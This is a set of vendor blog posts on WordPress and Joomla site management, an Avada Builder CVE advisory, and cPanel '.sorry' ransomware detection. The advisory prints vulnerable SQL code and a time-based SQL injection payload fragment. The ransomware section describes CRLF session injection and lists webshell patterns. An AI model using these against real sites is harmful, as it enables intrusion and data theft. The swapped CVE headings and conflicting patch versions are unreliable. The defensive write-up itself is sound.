Two companion pieces to keep near the workflow: detecting locked Joomla scheduled tasks, which sometimes appear in the days after a Joomla version bump if a cli/joomla.php task left a row stuck in task_lock, and automatic updates for any Joomla extension, which closes the gap between core patches like this one and the long tail of extension CVEs that never make a Joomla.org headline.

How Do You Spot Joomla Sites Still on Old Versions Without Logging Into Each Admin?

If your sites aren't connected to a central manager, the manual options are limited:

Reading administrator/manifests/files/joomla.xml on every site over SSH or FTP. Workable for five sites; rough for thirty.
Requesting /administrator/manifests/files/joomla.xml on each site and parsing the <version> element. Often blocked on hardened sites.
Checking the frontend HTML for a generator tag, if it hasn't been stripped, which on most hardened sites it has been.

The connector-based approach mySites.guru uses reports the running version straight from the site itself: faster, accurate, and unaffected by whatever fingerprinting hardening is in place. Above five sites it's the only practical option. The multi-site management dashboard lists every connected site by version on one screen, and the extension auto-update guidance keeps the long tail of plugins current without manual sweeps.

The dashboard puts every old version on the same screen. Joomla 3.10.12, 5.4.2, 5.4.5, 6.1.0, and the WordPress sites that drifted onto 6.9.4 after 7.0 shipped all show up in one filterable list. Sort by version, see how many sites you have on each, filter by "Joomla 5.4.5" to get the exact list needing 5.4.6 tonight. Each row has a one-click admin login if you need to step into a site, so there's no typing thirty passwords. The screenshot above this section shows the mixed-CMS view with red badges on every site behind a stable release.

A single-screen view is the difference between "I think we're up to date" and "here's the report." Client-facing security questionnaires get easier the moment you can produce that.

Other Library Bumps in the 6.1.1 Build

Beyond the security work, the 6.1.1 build bundles:

phpseclib 3.0.52, picking up fixes from two consecutive bumps in the release cycle (3.0.51 in PR 47620, then 3.0.52 in PR 47738).
joomla/oauth2 4.0.2 via PR 47722, fixing OAuth2Client authentication.
Three NPM dev-dependency updates via PR 47622.

These library bumps don't change behaviour for end users, but they do close transitive vulnerabilities that would otherwise turn up on any composer security audit of the Joomla codebase.

What Happened in the Next Release

Worth carrying forward if you are planning the update after this one. The releases that followed, 5.4.7 and 6.1.2, shipped a core regression that makes Joomla ignore every Option set on an individual article, including alternative layouts and author display. If you updated past 6.1.1 and your article layouts stopped taking effect, that is a known core bug with an official hotfix rather than anything wrong with your template.

WP_AI_SUPPORT: Disable WordPress 7 AI Across Every Site

phil@mysites.guru (Phil Taylor) — Thu, 21 May 2026 00:00:00 GMT

New in mySites.guru: WP_AI_SUPPORT toggle

The WordPress Configuration audit now detects whether WordPress 7.0+ AI features are enabled on every connected site, and lets you flip WP_AI_SUPPORT off (or back on) with one click per site.

WordPress 7.0 "Armstrong" shipped on 20 May 2026 with the new AI Client baked into core, and three featured provider connectors (Anthropic, Google, and OpenAI) available out of the box at Settings - Connectors. If you manage client sites, every WordPress site you look after is now wired for generative AI unless you explicitly turn it off.

mySites.guru's WordPress Configuration audit now picks up the WP_AI_SUPPORT constant during every snapshot and flags any connected site where AI features are still enabled. One click flips the wp-config.php define on the remote site. If you manage hundreds of WordPress sites, you can work through the whole portfolio from one screen rather than SSHing into each server.

One-Click WP_AI_SUPPORT Toggle Across Your Portfolio

mySites.guru's WordPress Configuration audit reads WP_AI_SUPPORT from wp-config.php on every connected WordPress site during each snapshot. If the constant is undefined or set to anything other than false, the audit flags the site as "AI on".

Click the fix button. The connector plugin writes define('WP_AI_SUPPORT', false); into wp-config.php on the remote site using the same wp-config writer it already uses for AUTOMATIC_UPDATER_DISABLED, WP_DEBUG_DISPLAY, and FORCE_SSL_LOGIN. The next snapshot confirms the change stuck.

If someone (or something) reverts the define later - a host migration, a wp-config rebuild, a careless edit - the next audit catches it and you can flip it back.

You can see the WP_AI_SUPPORT status of every WordPress site in your portfolio on one screen. No individual admin logins, no spreadsheets, no SSH. This is the same pattern as stopping automatic updates with one click or enforcing minor-only WordPress core upgrades - one constant, one toggle, applied across the whole portfolio.

What is the difference between WP_AI_SUPPORT and the wp_supports_ai filter?

WordPress 7.0 gives you two ways to disable AI features, and the difference matters in practice.

WP_AI_SUPPORT is a wp-config.php constant. It is read at the top of wp_supports_ai(), before any filter or plugin gets a chance to run. If you define it as false, nothing else can override that. It is the equivalent of pulling the plug at the wall.

The wp_supports_ai filter runs later in the request lifecycle. Any plugin can hook it and return true or false at runtime. The community-maintained Turn Off AI Features plugin uses this approach at filter priority 1000. It works, but it depends on the plugin remaining installed and being the highest-priority hook on the filter. Another plugin hooking later at priority PHP_INT_MAX could undo it.

For a multi-site portfolio, the constant is the safer choice. It is harder for another plugin to undermine, it lives in a file most editors don't touch, and it leaves a clear audit trail. The mySites.guru toggle writes the constant, not the filter.

Tip

The mySites.guru WordPress Configuration audit also tracks WP_DEBUG_DISPLAY, FORCE_SSL_LOGIN, AUTOMATIC_UPDATER_DISABLED, DISALLOW_FILE_EDIT, and other wp-config constants. Set up one site, and the same audit runs on every connected site automatically.

Unrelated to mySites.guru's Malware Analysis AI

No. mySites.guru's AI-powered malware analysis runs on our infrastructure, analyses suspect files we have already flagged with traditional pattern matching, and never sends your editorial content anywhere. WP_AI_SUPPORT controls a completely separate thing: WordPress core's built-in generative AI features, which run inside wp-admin and can be wired to third-party providers by anyone with admin access.

Disabling WP_AI_SUPPORT on your sites has no effect on mySites.guru's own audit and malware analysis features. They use different code paths, run on different servers, and are governed by our own privacy policy.

How do I check WP_AI_SUPPORT status across every site I manage?

If you are already on mySites.guru, open any connected WordPress site, go to the WordPress Configuration audit, and look for the WP_AI_SUPPORT row. Green means AI is disabled, red means it is still on. To compare across the whole portfolio, click "Compare All Sites" on the audit row - you get one screen with every site's WP_AI_SUPPORT status, sortable and filterable.

If you are not on mySites.guru yet, run a free audit on a single site. The audit will tell you whether WP_AI_SUPPORT is defined, what value it is set to, and what the wp_supports_ai() runtime result is. From there you can either install the connector on the rest of your sites for ongoing monitoring, or use the audit output as a one-off check.

For agencies running large WordPress portfolios, the audit pairs well with our bulk WordPress update and vulnerability scanner tools. The same one-screen-per-portfolio pattern applies to updates, security headers, plugin status, and now AI features.

Manual wp-config.php Edit for Single Sites

If you only manage one or two sites, the manual approach is straightforward. SSH into the server, open wp-config.php, and add the define above the "stop editing" comment:

define( 'WP_AI_SUPPORT', false );

/* That's all, stop editing! Happy publishing. */

Save and exit. The constant takes effect on the next request - no service restart, no cache clear, nothing to flush. From the admin or WP-CLI you can verify with:

var_dump( wp_supports_ai() );  // bool(false)

If wp_supports_ai() still returns true, check three things: that the file you edited is the one WordPress actually loads (some hosts use a separate config like GridPane's user-configs.php), that the define is above the stop editing comment, and that no plugin is hooking the wp_supports_ai filter with a higher priority and returning true.

For more on managing wp-config.php settings, see our guide to WordPress debug constants, which covers WP_DEBUG, WP_DEBUG_DISPLAY, and friends.

WP_AI_SUPPORT and Why It Matters

WP_AI_SUPPORT is a wp-config.php constant introduced in WordPress 7.0. When defined as false, it disables the entire WordPress AI Client site-wide before any plugin or filter gets a chance to override the decision.

The core function that gatekeeps everything is wp_supports_ai(), defined in wp-includes/ai-client.php:

function wp_supports_ai(): bool {
    if ( defined( 'WP_AI_SUPPORT' ) && ! WP_AI_SUPPORT ) {
        return false;
    }
    return (bool) apply_filters( 'wp_supports_ai', true );
}

Plugins that integrate the WordPress 7 AI client are expected to call this function first. If it returns false, they skip their AI prompts entirely - no API requests, no admin UI, no background processing. Core uses the same check internally to gate AI provider connector registration.

The default behaviour, with no constant defined and no filter hooked, is that wp_supports_ai() returns true. AI is on unless someone says otherwise.

Important

WordPress 7.0 does not ship an admin UI toggle to disable AI globally. The only ways to turn it off are the wp-config constant, the wp_supports_ai filter, or a plugin that wraps one of those.

Why disable WordPress AI features at all?

If your sites have a real, agreed use case for AI in editorial or admin workflows, leave it on. For most agencies and hosting providers, the reasons to disable AI by default come down to a handful of recurring patterns:

Client contracts and NDAs. Many client agreements explicitly forbid sending content to third-party AI providers without prior approval. With AI on by default, an editor can wire up a connector without anyone reviewing the contract.
Data-protection compliance. GDPR and UK GDPR require a documented lawful basis before personal data is processed by an AI model. The EDPB's Opinion 28/2024 on AI models and the EDPS 2025 generative AI guidance both put the burden on the controller to document what gets sent where. Disabling AI removes the need to make that case for every site.
Editorial and content-authenticity policies. Journalism, academic, and legal-content sites often need to certify that no AI was used in the content pipeline. WP_AI_SUPPORT gives you an auditable server-level off switch.
Cost containment. Paid connector accounts get hit whenever an editor experiments with AI. Disabling the feature removes the risk of unexpected API bills.
Reducing surface area. Sites that have no need for AI features get less admin-side JavaScript, fewer settings panels, and no inert connector listings on Settings - Connectors.

You can always re-enable AI for a specific site later by removing the define. Disabling it by default and opting sites in is the lower-risk posture for a multi-site portfolio.

mySites.guru is fully compatible with WordPress 7.0

phil@mysites.guru (Phil Taylor) — Thu, 21 May 2026 00:00:00 GMT

WordPress 7.0 "Armstrong" released 20 May 2026

mySites.guru is fully compatible. No reinstall, no reconfiguration. Backup, update, and control auto-upgrades across every connected site from one dashboard.

WordPress 7.0 "Armstrong" shipped on 20 May 2026, named after Louis Armstrong. It is the first major version bump in three years, and the largest set of core changes since the block editor landed. If you manage a portfolio of WordPress sites, the question is how to roll it out without breaking anything.

mySites.guru is fully compatible with WordPress 7.0. The connector, backups, audits, and one-click updates all work the same on 7.0 as on 6.x. There is nothing to reinstall on your end. Open any connected site, run a backup, and trigger the update from the same screen. If you manage hundreds of sites, you can queue the update across the whole portfolio from one place.

How do I update multiple sites to WordPress 7.0?

The recommended workflow inside mySites.guru is backup, then update, on every site you intend to move. Both steps live behind keyboard shortcuts:

Press b to open the Backups tool. Trigger a fresh backup before any major core upgrade.
Press c then 7 to open the WordPress 7 Compatibility Checker. It lists every site with its PHP version, database version, and auto-update status, colour-coded against the 7.0 requirements.

From either screen you can drill into a site and run the WordPress core update. mySites.guru calls the same internal update routine WordPress uses in wp-admin. It just does it across every connected site without per-site logins.

Check your sites before you update

Open WordPress 7 Compatibility Checker

Colour-codes every connected site's PHP, database, and auto-update status against the WordPress 7.0 requirements.

Letting 7.0 Auto-Install Is a Bad Idea

We recommend against it. Major core upgrades should happen on your schedule, after a fresh backup, with someone watching the result. Auto-upgrading a portfolio of client sites to a new major version overnight is how plugins break, layouts shift, and Monday mornings start badly.

mySites.guru has a one-click tool that sets the two wp-config constants you want on every connected site:

AUTOMATIC_UPDATER_DISABLED set to true, which stops the background updater touching core, plugins, themes, or translations
WP_AUTO_UPDATE_CORE set to minor, so security patches still arrive automatically while major version jumps wait for you

You apply both with one click per site (or across the whole portfolio at once) without SSH or wp-config edits. See Stop Automatic Updates in WordPress with One Click for the full walkthrough, and Enforce Minor Upgrades Only for the reasoning behind the minor-only setting.

If you would rather let WordPress auto-upgrade your sites to 7.0, that still works. mySites.guru will pick up the new version on the next audit and report it like any other change. The compatibility checker remains accurate either way.

WordPress 7.0 Server Requirements

The minimums shifted upward with this release. Sites that do not meet either floor will not be offered the 7.0 auto-update and stay on the 6.9 security branch until the host catches up.

Component	WordPress 6.9	WordPress 7.0
PHP minimum	7.2.24	7.4
PHP recommended	8.0+	8.3+
MySQL minimum	5.5.5	8.0
MySQL recommended	8.0+	8.4 LTS
MariaDB minimum	10.3	10.6 (11.4 LTS recommended)

For the full breakdown, see Check Your Sites for WordPress 7.0 Compatibility and the WordPress 7 Technical Requirements Check. Both posts have the comparison tables, the rationale for each bump, and screenshots of the compatibility tool in action.

What Actually Shipped in WordPress 7.0

The headline feature for most of the 7.0 cycle was real-time collaborative editing in the block editor. That was pulled on 8 May 2026 over concerns about race conditions, server load, memory efficiency, and the need for a new core database table. It is being re-evaluated for 7.1.

What did ship:

Modern admin redesign: a refreshed colour scheme, smoother transitions between screens, and a Command Palette accessible from the admin bar.
Web Client AI API: a provider-agnostic interface that plugins and themes can use to call generative AI providers without bundling their own client. AI is on by default - see disabling WordPress 7 AI with WP_AI_SUPPORT if you'd rather opt out across your portfolio.
New blocks: Icon and Breadcrumbs as core blocks, reducing the need for third-party block libraries.
Font management page: a dedicated screen in the admin for both classic and block themes, replacing the patchwork of per-theme font UIs.
Server-side block and pattern registration: PHP-side auto-registration of blocks and patterns, reducing boilerplate for plugin developers.
Roughly 300 core bugs and 486 Gutenberg bugs fixed, plus 77 enhancements and 35 blessed tasks.

The official release post is at wordpress.org/news/2026/05/armstrong/. The Field Guide on Make WordPress Core has the full list of developer-facing changes.

mySites.guru's WordPress 7.0 Coverage

Nothing. That is the point.

The connector reads WordPress core, plugins, themes, the database, and wp-config the same way it did on 6.9. The audit results, backup format, restore workflow, hack detection, malware scanner, and one-click updates are all unchanged. The new Command Palette in WordPress 7.0 sits beside the mySites.guru keyboard shortcuts (b for backups, c then 7 for compatibility, Cmd/Ctrl+K for the dashboard palette) without conflict.

If you were running mySites.guru on WordPress 6.x last week, everything you used still works on 7.0. The only change you might want to make is the auto-upgrade setting, which is a one-click toggle.

How should I roll WordPress 7.0 out to client sites?

If you manage other people's sites, the safe rollout looks like this:

Audit compatibility first. Open the WordPress 7 Compatibility Checker and identify any site below PHP 7.4 or MySQL 8.0. Those need a host upgrade before anything else.
Disable core auto-upgrades. Sites that are 7.0-ready should not jump on their own at 3am. Use the one-click tool to set the wp-config constants across every site at once.
Pick a staging victim. Update one low-stakes site to 7.0 first. Confirm the theme renders, the admin works, and the critical plugins still function.
Backup, then update in batches. Group sites by stack similarity (same theme, same plugin set) and update each batch after a fresh backup. Watch for plugin compatibility messages in the WordPress admin.
Audit again. After each batch, run a mySites.guru audit. The version, plugin status, and any new compatibility warnings will be picked up on the next scheduled run, or you can trigger an audit on demand.

The whole process is one screen per step. No SSH, no wp-admin tabs, no spreadsheet to track which client got updated.

Avada Builder Patches Two Security Issues in 3.15.3

phil@mysites.guru (Phil Taylor) — Tue, 12 May 2026 00:00:00 GMT

Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On May 12, 2026, Wordfence published two CVEs and ThemeFusion shipped the final patch the same day.

The first is a Subscriber-level arbitrary file read that hands an attacker the contents of wp-config.php. The second is an unauthenticated time-based SQL injection that fires on any Avada site that ever had WooCommerce installed. Both are fixed in 3.15.3. Update now.

Update: a more severe Avada Builder flaw was patched after this one

A later release fixed CVE-2026-8713, an unauthenticated arbitrary file deletion flaw rated CVSS 9.1 that can delete wp-config.php and lead to a full site takeover. It is fixed in 3.15.4. If you run Avada, update to the latest version, not just 3.15.3.

If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.2 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, so that work is real.

Finding Every Avada Builder Site in Your Portfolio

mySites.guru subscribers: find every Avada Builder install across your sites

Open Avada Builder Extension Search

Lists every version of Avada Builder across your connected sites. Anything on 3.15.2 or earlier needs the 3.15.3 patch. Not a subscriber? Sign up free and connect your sites.

The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the Wordfence Vulnerability API twice a day, so when a CVE like CVE-2026-4782 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.

Bulk Updating Avada Builder Across Hundreds of Sites

Once you know which sites need updating, the mass updater handles the rollout. Tick the sites that need 3.15.3, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the Akeeba Backup or All-In-One Migration integration to back up each selected site first.

For agencies managing 50+ WordPress sites

If the patch needs more than a quick test on a particular site, disable Avada Builder until you can update. Deactivating it takes the vulnerable shortcode handler and AJAX endpoint out of play while you schedule a maintenance window.

Should I back up my WordPress sites before updating Avada Builder?

Yes, every time. Avada Builder uses its own page builder data format, and a bad update can leave you with broken layouts, missing elements, or corrupt page metadata. You often do not notice until a client phones to ask why the homepage carousel is empty.

Make sure each site has a recent backup before you push the update. A mySites.guru snapshot records config and version state, but it is not a restorable backup. For a rollback you want the full one-click backup of files and database. The backup-all-sites workflow runs that backup across your whole portfolio in one click, so you can fire off backups for every Avada site, wait for them to finish, then run the update pass.

If you already run unlimited backup schedules, the patch goes on top of whatever you have scheduled, so the worst case is one extra restore point.

How do I watch for exploitation after patching?

The file read flaw has been at "partial fix" status since April 13. The full advisory dropped today, which is when most exploitation attempts start. Patching closes the door; monitoring tells you whether anyone walked through it before you got there.

mySites.guru's real-time alerting covers the three signals that matter after a file-read or SQL injection CVE:

File changes to core, theme, or plugin files. If someone grabbed wp-config.php salts and forged a session to drop a backdoor, the new file in wp-content/ or a modified wp-config.php shows up before the next snapshot.
New admin accounts. Anything created at administrator level fires an alert, whether it came in via the REST API, wp-admin, or directly through the database. Forging a session with leaked salts is one route to a rogue admin.
wp-admin login activity, with IP, user agent, and timestamp. Unfamiliar logins on accounts that should not be active are the cheapest tell.

If any of those alerts fire, the malware scanner and the WordPress hacked recovery workflow handle the remediation side.

Showing Clients Their Avada Site Is Now Safe

The patch is half the deliverable on a managed contract. The other half is the client knowing it happened. mySites.guru produces white-label client activity reports that list every update applied, every backup taken, and every vulnerability cleared in a given window, branded with your own logo and domain.

After an Avada patch run, the same report tells the client which CVEs were closed, which sites went to 3.15.3, and that backups ran before each update. The custom client report builder lets you scope it to the work covered by their retainer rather than dumping the firehose of internal monitoring data on them.

CVE-2026-4782: Unauthenticated SQL Injection

Detail	Value
CVE	CVE-2026-4782
CVSS	6.5 Medium
Type	Arbitrary File Read
Affected versions	All versions up to and including 3.15.2
Patched version	3.15.3 (May 12, 2026)
Auth required	Yes - Subscriber or above
Bounty	$3,386.00
Researcher	Rafie Muhammad (via Wordfence Bug Bounty)

The flaw lives in Avada's fusion_get_svg_from_file() helper, reached from the fusion_section_separator shortcode via its custom_svg parameter. The function calls $wp_filesystem->get_contents( $url ) with no checks on file type or path, then falls back to PHP's file_get_contents(). Nothing forces the input to be a .svg, so a .php file works just as well.

The shortcode is rendered via the AJAX endpoint get_shortcode_render() in the Fusion_Builder_Front class. That endpoint is nonce-protected, but the nonce is reachable by any logged-in user in vulnerable versions, and there is no capability check on the handler. A Subscriber account is enough.

This is the same pattern we covered in AJAX endpoints are a big CMS security blind spot: a developer protects the endpoint with a nonce, assumes that is enough, and forgets that the nonce is available to anyone with an account. Subscribers were never meant to invoke shortcode rendering. The check that would have stopped this is one current_user_can() call. The same root cause hit five other plugins in March 2026, including the AcyMailing flaw we wrote up where a registered Joomla user could escalate to admin through an AJAX endpoint with no capability check.

So any logged-in low-privilege user can call the shortcode with a path like wp-config.php and read the response. wp-config.php contains your database credentials, table prefix, and the eight keys and salts that secure WordPress sessions and password resets. Once those leak, the attacker can forge auth cookies, decrypt nonces, and pivot from "read a file" to "session as administrator."

If your Avada sites have open registration - membership sites, shops with customer accounts, anything where Subscriber accounts are created on signup - assume any Subscriber-level attacker has had this capability since Avada Builder 1.x.

Why an arbitrary file read of wp-config.php is so serious

A read primitive is not code execution, but it is one step away. The salts in wp-config.php are the inputs to WordPress's session signing. With those values an attacker can:

forge wp_session_tokens cookies and walk into wp-admin as any user, including administrators
read your database credentials and, if your DB is reachable from anywhere with those creds, dump the entire site contents
decrypt any encrypted option stored in the database (some plugins encrypt API keys with the auth keys)

The fix in 3.15.3 restricts fusion_get_svg_from_file() to local SVG files and adds a capability check on the shortcode render endpoint.

CVE-2026-4798: Subscriber-Level Arbitrary File Read

Detail	Value
CVE	CVE-2026-4798
CVSS	7.5 High
Type	Unauthenticated Time-Based Blind SQL Injection
Affected versions	All versions up to and including 3.15.1
Patched version	3.15.2 (April 13, 2026)
Auth required	No
Bounty	$1,067.00
Researcher	Rafie Muhammad (via Wordfence Bug Bounty)

The post card items shortcode runs a SQL query against the wc_order_product_lookup and wc_orders tables to order results. The product_order parameter from $_GET is fed straight into the query's ORDER BY clause:

$args['order'] = ( isset( $_GET['product_order'] ) )
    ? sanitize_text_field( wp_unslash( $_GET['product_order'] ) )
    : $defaults['order'];

$query = "
    SELECT opl.product_id, MAX(opl.date_created) AS last_purchased
    FROM {$wpdb->prefix}wc_order_product_lookup AS opl
    INNER JOIN {$wpdb->prefix}wc_orders AS o
        ON opl.order_id = o.id
    WHERE o.status IN ('wc-completed', 'wc-processing')
        AND opl.product_id > 0
    GROUP BY opl.product_id
    ORDER BY last_purchased {$args['order']}
    LIMIT %d
";

sanitize_text_field() strips tags and HTML, but it does not escape SQL. The query passes through $wpdb->prepare() only for the %d placeholder; the interpolated {$args['order']} is appended as raw input. An attacker submits a payload like last_purchased) CASE WHEN (...) THEN SLEEP(5) ELSE 0 END -- and reads response timing to extract data one bit at a time.

Why the SQL injection has a strange trigger condition

The query references wc_order_product_lookup and wc_orders, WooCommerce's HPOS (High-Performance Order Storage) tables. They only exist on sites that have run a recent WooCommerce.

But the tables persist after WooCommerce is deactivated or uninstalled. WooCommerce deliberately avoids dropping order data on uninstall, which is normally a feature, not a bug. That is what creates the trigger condition in the Wordfence advisory: "the vulnerability can only be exploited if WooCommerce was previously used and then deactivated."

That catches a surprising number of sites:

Client stores that were set up, never used, and deactivated to "clean up"
Sites that migrated off WooCommerce to a different store plugin
Test sites that briefly enabled WooCommerce and forgot to drop the tables
Sites running Avada demo content with the WooCommerce demo data still on disk

If WooCommerce has ever touched your database, you are in scope for this one, even if it is no longer active.

How to verify your sites are patched

Three checks, in order of speed:

mySites.guru: open the Avada Builder extension search and confirm every install is on 3.15.3 or later. Anything on 3.15.2 or earlier still needs updating.
WP-CLI on a single site: wp plugin get fusion-builder --field=version
wp-admin: Plugins page, find Avada Builder in the list, check the version.

If the version is 3.15.0, 3.15.1, or 3.15.2, update to 3.15.3. If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion's update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.

For sites you cannot patch right away, deactivating Avada Builder takes the vulnerable shortcode handler and AJAX endpoint out of play until you can schedule the update.

What to do if you suspect you were compromised

Both vulnerabilities have been public since Wordfence's advisory dropped today. CVE-2026-4798 has had a partial patch since April 13 in 3.15.2, so exploitation attempts may have been live for several weeks before the SQL injection patch dropped. The arbitrary file read in CVE-2026-4782 only got fully patched today.

If you find a vulnerable version and you also see signs of compromise (new admin accounts, unfamiliar files, mailer abuse), treat wp-config.php as leaked. Here is the checklist, with the mySites.guru tools that automate each step across your portfolio.

1. Rotate the database password and salts

The leaked wp-config.php contains your DB credentials and the eight keys and salts used to sign WordPress sessions. Both are now visible to anyone who exploited the file read.

wp config shuffle-salts

Rotate the database password in your hosting control panel and update DB_PASSWORD in wp-config.php to match. Salt rotation invalidates every existing session, so users have to log in again. That is the point.

How mySites.guru helps: the universal user management view lists every user account across every connected site in one place, so once salts are rotated you can spot which accounts log back in and which never do.

2. Hunt for rogue admin accounts

If an attacker forged a session before you rotated salts, they could have created an administrator. Check the user table:

SELECT ID, user_login, user_registered, user_email
FROM wp_users
ORDER BY user_registered DESC
LIMIT 20;

Anything created since April 13, 2026 that you do not recognise is suspect.

How mySites.guru helps: universal user management sorts every account across every connected site by registration date. Filter for accounts created since 3.15.2 dropped and you see hundreds of sites in one screen, with no per-site wp-admin login.

3. Look for backdoors and modified files

A file read on its own does not plant code, but a forged admin session afterwards can. Look for unexpected PHP files in wp-content/uploads/, wp-content/mu-plugins/, and anywhere else uploads should not contain executable code.

find wp-content/uploads -name '*.php' -type f
find wp-content/mu-plugins -name '*.php' -mtime -30

How mySites.guru helps: the suspect content scanner runs the same pattern matching across every connected site. Anything it flags gets a one-click AI-powered malware analysis that explains what the code does in plain English, so you can sort real threats from false positives without reading every flagged file by hand. The hidden files report flags orphan PHP files outside the normal core, theme, and plugin paths.

4. Confirm no core files were tampered with

If salts leaked and a forged admin session dropped a backdoor, the easiest hiding spot is a modified core file or theme file. Compare against the canonical hashes:

wp core verify-checksums
wp plugin verify-checksums --all

How mySites.guru helps: real-time file change alerts compare every PHP file's hash against the previous snapshot and email you when anything changes outside a normal update window. The deep security audit walks core, theme, and plugin files for tampered content as part of its run.

5. Hand it off if the site is compromised

If the site was actually exploited (extra admins, modified files, unfamiliar cron jobs) rather than just exposed, the cleanup is bigger than a plugin update. fix.mysites.guru handles the patch-plus-audit on a per-site basis: Avada Builder goes to 3.15.3, the site is checked for unfamiliar admin accounts and traces of file-read activity, credentials and salts are rotated, and the site comes back secure. Non-subscribers get a free month of mySites.guru included with the work.

Watching for the Next Avada Security Issue

Avada Builder ships with the Avada theme, one of the most-installed paid themes on WordPress. A big install base attracts researchers. Two CVEs from one researcher in one disclosure round is not a fluke: the March 2026 four-plugin patch round hit Elementor and Yoast SEO at similar scale, and the Essential Plugin supply-chain backdoor hit 31 plugins from a single acquired portfolio.

The answer is not "switch off Avada." It is the same answer as for every other widely-used plugin: keep the inventory current, patch within a defined window, monitor for changes, and have a rollback ready. mySites.guru's scheduled updates let you stage update windows for client sites so they do not all jump on day-zero releases. A 48 to 72 hour delay would not have helped here (the patch was the safe version), but it does catch supply-chain attacks like Smart Slider 3 Pro 3.5.1.35 where the malicious release was pulled within hours of release.

Agencies that handle CVEs cleanly are not faster readers. They have the inventory, the rollout, the monitoring, and the rollback already wired up before the CVE drops.

The disclosure timeline matters here

This one had a long tail:

March 21, 2026: Rafie Muhammad submits both vulnerabilities through Wordfence Bug Bounty
March 24, 2026: Wordfence validates the file read and discloses to ThemeFusion
March 25, 2026: Wordfence validates the SQL injection and discloses; Wordfence Premium gets a firewall rule
April 13, 2026: ThemeFusion ships 3.15.2 with the SQL injection patched (partial fix for the file read)
April 24, 2026: Wordfence Free users get the firewall rule
May 12, 2026: ThemeFusion ships 3.15.3 with the file read fully patched; Wordfence publishes the advisory

If you updated to 3.15.2 last month thinking you were safe, you closed the SQL injection. The file read was only partially mitigated. 3.15.3 is the version you actually need.

Spotting .sorry Ransomware on Your cPanel Hosts

phil@mysites.guru (Phil Taylor) — Mon, 11 May 2026 00:00:00 GMT

We just shipped automatic detection for the "Sorry" ransomware. Every site audit now flags any file ending in .sorry as hacked, and the File Manager renders a red Ransomware badge next to those files so the encrypted artefacts are obvious next to the more usual PHP backdoors.

The reason it needs its own treatment: this is a host-level ransomware, not a CMS-level one. It does not care whether the site it just encrypted is WordPress, Joomla, Drupal, or a single static index.html. If the cPanel account it lands in can read the file, it gets encrypted and renamed with .sorry on the end. The decryptor is the attacker's RSA-2048 private key. There is no public alternative.

How Does mySites.guru Spot .sorry Files?

The audit pipeline ends with a post-audit pass that flags files matching known-bad patterns. We added one extra query:

UPDATE bf_files
   SET hacked = 1, suspectcontent = 1
 WHERE filewithpath LIKE '%.sorry'

Every Joomla, WordPress and Generic connector now runs that query after the file inventory is collected. The site flips to "hacked" on your dashboard, the encrypted files show up in the Suspect Content tool, and the File Manager renders a red Ransomware badge next to each row alongside the existing Hacked File badge.

That row in the middle, /yes.sorry, is what an encrypted file looks like through the audit. The badge is intentionally distinct from the standard "Hacked File" label so that a portfolio with hundreds of compromised sites can be sorted by ransomware victims first.

Important

If the dashboard shows a Ransomware badge on any of your sites, do not try to clean and reuse the cPanel account. The entry vector for this ransomware is a pre-auth root bypass in cPanel itself. The attacker had root WHM, not just one site's file permissions. Restore from backup onto a patched host and rotate every credential.

What is CVE-2026-41940?

CVE-2026-41940 is a pre-authentication authentication bypass in cPanel and WHM, scored CVSS 9.8 and disclosed by WebPros on 28 April 2026. The root cause is CRLF injection in the login and session-loading code. An attacker injects raw \r\n characters into the Basic Auth header and a crafted whostmgrsession cookie. The server writes those characters straight into a pre-auth session file, which lets the attacker insert properties like user=root, hasroot=1 and tfa_verified=1 into a session it then accepts as authenticated. The attacker walks into WHM as root with no credentials.

watchTowr Labs published the deepest technical breakdown and Rapid7 followed with the patch matrix and IR notes. The vulnerable surface includes every cPanel and WHM version released after v11.40, plus WP Squared up to 136.1.6.

Help Net Security reports earliest in-the-wild exploitation on 23 February 2026, more than two months before the patch landed. By the time the advisory went out, the bug was already a known zero-day inside the threat-actor community.

What Does Sorry Ransomware Actually Do?

The ransomware itself is a separate piece of malware, dropped by attackers once they have root WHM from CVE-2026-41940. The technical detail comes from BleepingComputer's coverage and ransomware researcher Rivitna:

Written in Go, Linux-only.
ChaCha20 stream cipher per file. The per-file key is then wrapped with an embedded RSA-2048 public key.
Appends .sorry to every encrypted filename.
Adds a 2,357-byte RSA-encrypted footer to each encrypted file.
Drops a README.md ransom note in every directory it touches.
A single Tox ID for contact, reused across all victims, which makes it easy to correlate samples but useless for negotiating.

Before encrypting, the operators scrape the filesystem for AWS, Stripe, OpenAI and Slack keys, then try to insert a hardcoded MySQL root password and dump every database. So even if you restore from backup, treat every secret the host ever held as compromised.

There is no decryptor. Anyone telling you otherwise is selling a scam.

How Many cPanel Hosts Have Been Hit?

Three numbers worth knowing, three numbers worth ignoring:

Worth knowing:

Shadowserver has logged 44,000+ compromised cPanel IPs.
Censys sees 8,859 hosts with publicly exposed .sorry files, of which 7,135 are confirmed running cPanel/WHM.
Help Net Security reports multiple distinct threat actors exploiting the same CVE, not just the Sorry operator.

Worth ignoring: the "1.5 million servers" figure circulating on social media. That is the total population of internet-exposed cPanel hosts, not the victim count. Picus and others cite it for context, but it does not belong in any operational decision-making.

The first figure is the ground truth for "how many hosts had a root WHM compromise". The second is the lower bound for "how many of those then got hit with ransomware specifically". The gap between them is the population that got backdoored, credential-scraped, or used as a launchpad without the loud ransomware payload.

How Do I Audit a Suspect cPanel Host Myself?

If you administer the cPanel host directly, three checks beyond .sorry filenames:

Session directory. Look in /var/cpanel/sessions/raw/ for pre-auth session files containing user=root, hasroot=1, tfa_verified=1, or multiple pass= lines. Any of those in a pre-auth file is the smoking gun for CVE-2026-41940 exploitation.
Webshells. Public reporting mentions "numerous" persistence webshells but does not catalogue specific paths. Pull the file inventory, sort by mtime since 23 February 2026, and grep for the standard PHP backdoor patterns (eval, assert, base64_decode, dynamic includes from $_POST or $_REQUEST). Our Find Hacks and Backdoors post covers the manual technique.
MySQL root. Check mysql.user for unexpected users or unexpected Host entries on the root account. The Sorry operator's pre-encryption playbook includes a MySQL tampering step.

